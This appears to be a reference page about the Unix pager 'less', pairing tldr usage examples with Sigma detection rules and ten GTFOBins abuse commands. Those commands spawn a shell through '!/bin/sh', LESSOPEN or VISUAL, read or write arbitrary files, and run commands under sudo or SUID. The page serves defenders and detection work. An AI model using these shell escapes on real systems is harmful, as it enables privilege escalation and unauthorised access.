Identifier / Programs / Linux and Unix

less

Open a file for interactive reading, allowing scrolling and search. tldr-pages

GTFOBins shell 5 Sigma rules name it 1 ATT&CK technique 10 documented commands

How less is abused

documented by GTFOBins

shell T1059.004 Command and Scripting Interpreter: Unix Shell

-s

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for less.

10 documented commands

from GTFOBins, each read by the identifier

command unprivileged

cp /path/to/command ~/.lessfilter
less /etc/hosts

Identify

command unprivileged, with sudo

LESSOPEN='/path/to/command # %s' less /etc/hosts

Identify

file-read unprivileged, with sudo, as SUID

less /path/to/input-file

Identify

file-read unprivileged, with sudo, as SUID

This can be used to read another file, e.g., when invoked as a pager with some fixed content.

less /etc/hosts
:e /path/to/input-file

Identify

file-read unprivileged, with sudo

This can be used to read another file.

LESSOPEN='echo /path/to/input-file # %s' less /etc/hosts

Identify

file-write unprivileged, with sudo, as SUID

echo DATA | less
s/path/to/output-file
q

Identify

inherit unprivileged, with sudo, as SUID

less /etc/hosts
v

Identify

shell unprivileged, with sudo, as SUID

less /etc/hosts
!/bin/sh

Identify

shell unprivileged, with sudo

The optional reset command is needed to receive the echo back of the typed keystrokes.

LESSOPEN="/bin/sh -s 1>&0 2>&0 # %s" less /etc/hosts
reset

Identify

shell unprivileged, with sudo

VISUAL='/bin/sh -s --' less /etc/hosts
v

Identify

None of the 10 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for less. The identifier reads the line of each that runs less.

What detects it

Sigma process creation rules

highLinux Suspicious Child Process from Node.js - React2ShellSwachchhanda Shrawan Poudel (Nextron Systems), Nasreddine Bencherchali

mediumAccess of Sudoers File ContentFlorian Roth (Nextron Systems)

lowLocal System Accounts Discovery - LinuxAlejandro Ortuno, oscd.community, CheraghiMilad

lowLocal Groups Discovery - LinuxÖmer Günal, Alejandro Ortuno, oscd.community

lowContainer Residence Discovery Via Proc Virtual FSSeth Hanford

T1059.004Command and Scripting Interpreter: Unix Shell

Everyday use

from tldr-pages, CC BY 4.0

Open a file for interactive reading

less path/to/source_fileIdentify

Page down/up

<Space>

Go to end/start of file

<G>

The example the identifier reads matches no GTFOBins abuse and trips no Sigma process-creation rule.

less

How less is abused

10 documented commands

What detects it

Everyday use

Other programs abused for shell